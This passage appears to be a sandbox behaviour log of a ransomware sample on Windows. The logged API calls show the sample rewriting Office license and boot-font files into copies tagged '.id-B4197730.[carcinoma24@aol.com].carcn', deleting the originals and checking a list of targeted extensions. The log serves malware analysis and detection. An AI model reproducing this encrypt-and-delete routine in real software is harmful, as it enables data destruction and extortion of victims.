lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.789] SetEndOfFile (hFile=0x49c) returned 1 [0287.792] CloseHandle (hObject=0x49c) returned 1 [0287.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1 [0287.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0287.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0287.793] lstrlenW (lpString=".doc") returned 4 [0287.793] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.793] lstrlenW (lpString=".docx") returned 5 [0287.793] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.793] lstrlenW (lpString=".pdf") returned 4 [0287.794] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString=".xls") returned 4 [0287.794] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString=".xlsx") returned 5 [0287.794] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.794] lstrlenW (lpString=".ppt") returned 4 [0287.794] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0287.794] lstrlenW (lpString=".zip") returned 4 [0287.794] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString=".rar") returned 4 [0287.794] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString=".bz2") returned 4 [0287.794] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString=".7z") returned 3 [0287.794] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0287.794] lstrlenW (lpString=".dbf") returned 4 [0287.794] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0287.794] lstrlenW (lpString=".1cd") returned 4 [0287.794] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0287.794] lstrlenW (lpString=".jpg") returned 4 [0287.794] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.795] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19957) returned 1 [0287.795] CloseHandle (hObject=0x49c) returned 1 [0287.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0287.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0287.796] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.796] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0287.797] GetLastError () returned 0x0 [0287.797] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4df5, lpOverlapped=0x0) returned 1 [0287.799] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0288.321] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.321] WriteFile (in: hFile=0x570, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11a, lpOverlapped=0x0) returned 1 [0288.321] SetEndOfFile (hFile=0x570) returned 1 [0288.321] CloseHandle (hObject=0x570) returned 1 [0288.321] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.321] SetEndOfFile (hFile=0x49c) returned 1 [0288.325] CloseHandle (hObject=0x49c) returned 1 [0288.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1 [0288.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0288.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0288.326] lstrlenW (lpString=".doc") returned 4 [0288.327] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString=".docx") returned 5 [0288.327] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0288.327] lstrlenW (lpString=".pdf") returned 4 [0288.327] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString=".xls") returned 4 [0288.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString=".xlsx") returned 5 [0288.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0288.327] lstrlenW (lpString=".ppt") returned 4 [0288.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0288.327] lstrlenW (lpString=".zip") returned 4 [0288.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString=".rar") returned 4 [0288.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString=".bz2") returned 4 [0288.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0288.327] lstrlenW (lpString=".7z") returned 3 [0288.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0288.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0288.327] lstrlenW (lpString=".dbf") returned 4 [0288.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0288.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0288.328] lstrlenW (lpString=".1cd") returned 4 [0288.328] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0288.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0288.328] lstrlenW (lpString=".jpg") returned 4 [0288.328] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0288.328] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=21728) returned 1 [0288.328] CloseHandle (hObject=0x49c) returned 1 [0288.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0288.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0288.330] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.330] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0294.077] GetLastError () returned 0x0 [0294.077] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x54e0, lpOverlapped=0x0) returned 1 [0294.285] WriteFile (in: hFile=0x2c0, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x54f0, lpOverlapped=0x0) returned 1 [0294.286] ReadFile (in: hFile=0x49c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.286] WriteFile (in: hFile=0x2c0, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x110, lpOverlapped=0x0) returned 1 [0294.286] SetEndOfFile (hFile=0x2c0) returned 1 [0294.287] CloseHandle (hObject=0x2c0) returned 1 [0294.287] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.287] SetEndOfFile (hFile=0x49c) returned 1 [0294.290] CloseHandle (hObject=0x49c) returned 1 [0294.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1 [0294.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0294.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0294.292] lstrlenW (lpString=".doc") returned 4 [0294.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0294.292] lstrlenW (lpString=".docx") returned 5 [0294.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0294.292] lstrlenW (lpString=".pdf") returned 4 [0294.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0294.292] lstrlenW (lpString=".xls") returned 4 [0294.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0294.292] lstrlenW (lpString=".xlsx") returned 5 [0294.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0294.292] lstrlenW (lpString=".ppt") returned 4 [0294.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0294.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0294.292] lstrlenW (lpString=".zip") returned 4 [0294.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0294.292] lstrlenW (lpString=".rar") returned 4 [0294.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0294.292] lstrlenW (lpString=".bz2") returned 4 [0294.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0294.293] lstrlenW (lpString=".7z") returned 3 [0294.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0294.293] lstrlenW (lpString=".dbf") returned 4 [0294.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0294.293] lstrlenW (lpString=".1cd") returned 4 [0294.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0294.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0294.293] lstrlenW (lpString=".jpg") returned 4 [0294.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0294.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0c68 | out: hHeap=0x640000) returned 1 [0294.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cdf10 | out: hHeap=0x640000) returned 1 [0294.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3796680 | out: hHeap=0x640000) returned 1 [0294.293] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x37a6688 | out: hHeap=0x640000) returned 1 [0294.295] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x409f020 | out: hHeap=0x640000) returned 1 [0294.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0c38 | out: hHeap=0x640000) returned 1 [0294.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb358 [0294.301] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb358, Size=0x20) returned 0x699c08 [0294.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45eb3a0 [0294.301] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45eb3a0, Size=0x20) returned 0x699ac8 [0294.301] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.301] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.301] Wow64DisableWow64FsRedirection (in: OldValue=0x3a7ff50 | out: OldValue=0x3a7ff50*=0x1) returned 1 [0294.301] lstrlenW (lpString="kernel32.dll") returned 12 [0294.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699ac8 | out: hHeap=0x640000) returned 1 [0294.301] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699c08 | out: hHeap=0x640000) returned 1 Thread: id = 53 os_tid = 0xd88 [0251.759] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x37b6d60 [0251.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x37c6d68 [0251.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0c80 [0251.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6cdf20 [0251.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0cb0 [0251.763] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x429c020 [0251.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0cc8 [0251.767] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0cc8, Size=0x20) returned 0x680a38 [0251.767] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0cc8 [0251.767] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0cc8, Size=0x20) returned 0x680c18 [0251.767] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0251.767] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0251.767] Wow64DisableWow64FsRedirection (in: OldValue=0x3bbff50 | out: OldValue=0x3bbff50*=0x0) returned 1 [0251.767] lstrlenW (lpString="kernel32.dll") returned 12 [0251.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680a38 | out: hHeap=0x640000) returned 1 [0251.767] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0251.767] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680c18 | out: hHeap=0x640000) returned 1 [0251.767] Sleep (dwMilliseconds=0x64) [0252.125] Sleep (dwMilliseconds=0x64) [0252.461] Sleep (dwMilliseconds=0x64) [0252.861] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.861] lstrlenW (lpString="malgunn_boot.ttf") returned 16 [0252.861] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.863] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=174959) returned 1 [0252.863] CloseHandle (hObject=0x348) returned 1 [0252.863] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0252.863] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.863] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.863] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.863] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.863] lstrlenW (lpString=".doc") returned 4 [0252.863] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.863] lstrlenW (lpString=".docx") returned 5 [0252.863] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.863] lstrlenW (lpString=".pdf") returned 4 [0252.864] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.864] lstrlenW (lpString=".xls") returned 4 [0252.864] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.864] lstrlenW (lpString=".xlsx") returned 5 [0252.864] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.864] lstrlenW (lpString=".ppt") returned 4 [0252.864] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.864] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.864] lstrlenW (lpString=".zip") returned 4 [0252.864] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.864] lstrlenW (lpString=".rar") returned 4 [0252.864] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.864] lstrlenW (lpString=".bz2") returned 4 [0252.864] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.864] lstrlenW (lpString=".7z") returned 3 [0252.864] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.864] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.864] lstrlenW (lpString=".dbf") returned 4 [0252.864] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.864] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.864] lstrlenW (lpString=".1cd") returned 4 [0252.864] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.864] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.864] lstrlenW (lpString=".jpg") returned 4 [0252.864] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.865] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.865] lstrlenW (lpString=".doc") returned 4 [0252.865] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString=".docx") returned 5 [0252.865] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.865] lstrlenW (lpString=".pdf") returned 4 [0252.865] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString=".xls") returned 4 [0252.865] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.865] lstrlenW (lpString=".xlsx") returned 5 [0252.865] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.865] lstrlenW (lpString=".ppt") returned 4 [0252.865] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.865] lstrlenW (lpString=".zip") returned 4 [0252.865] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0252.865] lstrlenW (lpString=".rar") returned 4 [0252.865] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString=".bz2") returned 4 [0252.865] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString=".7z") returned 3 [0252.865] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0252.865] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.865] lstrlenW (lpString=".dbf") returned 4 [0252.865] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0252.865] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.865] lstrlenW (lpString=".1cd") returned 4 [0252.865] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0252.866] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0252.866] lstrlenW (lpString=".jpg") returned 4 [0252.866] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0252.866] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0252.866] lstrlenW (lpString="malgun_boot.ttf") returned 15 [0252.866] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.867] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=177414) returned 1 [0252.867] CloseHandle (hObject=0x348) returned 1 [0252.867] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0252.867] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.868] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.868] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.868] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0252.868] lstrlenW (lpString=".doc") returned 4 [0252.868] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0252.868] lstrlenW (lpString=".docx") returned 5 [0252.868] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0252.868] lstrlenW (lpString=".pdf") returned 4 [0252.868] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0252.868] lstrlenW (lpString=".xls") returned 4 [0252.868] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0252.868] lstrlenW (lpString=".xlsx") returned 5 [0252.868] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0252.868] lstrlenW (lpString=".ppt") returned 4 [0252.868] lstrcmpiW 